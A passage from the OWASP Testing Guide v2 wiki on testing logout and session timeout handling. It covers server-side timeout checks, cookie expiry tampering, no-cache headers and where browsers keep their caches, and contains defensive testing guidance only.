The testing methodology is very similar to the one outlined in the previous paragraph. First we have to check whether a timeout exists, for instance logging in and then killing some time reading some other Testing Guide chapter, waiting for the timeout logout to be triggered. As in the logout function, after the timeout has passed all session tokens should be destroyed or be unusable. We also need to understand whether the timeout is enforced by the client or by the server (or both). Getting back to our cookie example, if the session cookie is non-persistent (or, more in general, the session token does not store any data about the time) we can be sure that the timeout is enforced by the server. If the session token contains some time related data (e.g.: login time, or last access time, or expiration date for a persistent cookie), then we know that the client is involved in the timeout enforcing. In this case, we need to modify the token (if it's not cryptographically protected) and see what happens to our session. For instance, we can set the cookie expiration date far in the future and see whether our session can be prolonged. As a general rule, everything should be checked server-side and it should not be possible, re-setting the session cookies to previous values, to be able to access the application again.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;'''Cached pages'''&amp;lt;br&amp;gt;&lt;br /&gt;
Logging out from an application obviously does not clear the browser cache of any sensitive information that might have been stored. Therefore, another test that is to be performed is to check that our application does not leak any critical data into the browser cache. In order to do that, we can use WebScarab and search through the server responses that belong to our session, checking that for every page that contains sensitive information the server instructed the browser not to cache any data. Such a directive can be issued in the HTTP response headers:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1:&lt;br /&gt;
Cache-Control: no-cache&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.0:&lt;br /&gt;
Pragma: no-cache&lt;br /&gt;
Expires: &amp;lt;past date or illegal value (e.g.: 0)&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Alternatively, the same effect can be obtained directly at the HTML level, including in each page that contains sensitive data the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1:&lt;br /&gt;
&amp;lt;META HTTP-EQUIV=&amp;quot;Cache-Control&amp;quot; CONTENT=&amp;quot;no-cache&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.0: &lt;br /&gt;
&amp;lt;META HTTP-EQUIV=&amp;quot;Pragma&amp;quot; CONTENT=&amp;quot;no-cache&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;META HTTP-EQUIV=”Expires” CONTENT=”Sat, 01-Jan-2000 00:00:00 GMT”&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
For instance, if we are testing an e-commerce application, we should look for all pages that contain a credit card number or some other financial information, and check that all those pages enforce the no-cache directive.&lt;br /&gt;
On the other hand, if we find pages that contain critical information but that fail to instruct the browser not to cache their content, we know that sensitive information will be stored on the disk, and we can double-check that simply by looking for it in the browser cache. The exact location where that information is stored depends on the client operating system and on the browser that has been used, but here are some examples:&lt;br /&gt;
&lt;br /&gt;
* Mozilla Firefox:&lt;br /&gt;
** Unix/Linux: ~/.mozilla/firefox/&amp;lt;profile-id&amp;gt;/Cache/&lt;br /&gt;
** Windows: C:\Documents and Settings\&amp;lt;user_name&amp;gt;\Local Settings\Application Data\Mozilla\Firefox\Profiles\&amp;lt;profile-id&amp;gt;\Cache&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Internet Explorer:&lt;br /&gt;
** C:\Documents and Settings\&amp;lt;user_name&amp;gt;\Local Settings\Temporary Internet Files&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
The gray box testing is not much different from the black box one. In a gray box testing we can assume we have some partial knowledge about the session management of our application, and that should help us in understanding whether the logout and timeout functions are properly secured. As a general rule, we need to check that:&lt;br /&gt;
* The logout function effectively destroys all session token, or at least render them unusable&lt;br /&gt;
* The server performs proper checks on the session state, disallowing an attacker to replay some previous token&lt;br /&gt;
* A timeout is enforced and it is properly checked by the server. If the server uses an expiration time that is read from a session token that is sent by the client, the token must be cryptographically protected&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
For the secure cache test, the methodology is equivalent to the black box case, as in both scenarios we have full access to the server response headers and to the HTML code.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
* ASP.NET Forms Authentication - Best Practices for Software Developers: http://www.foundstone.com/resources/whitepapers/ASPNETFormsAuthentication.pdf&lt;br /&gt;
* The FormsAuthentication.SignOut method does not prevent cookie reply attacks in ASP.NET applications: http://support.microsoft.com/default.aspx?scid=kb;en-us;900111&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	</feed>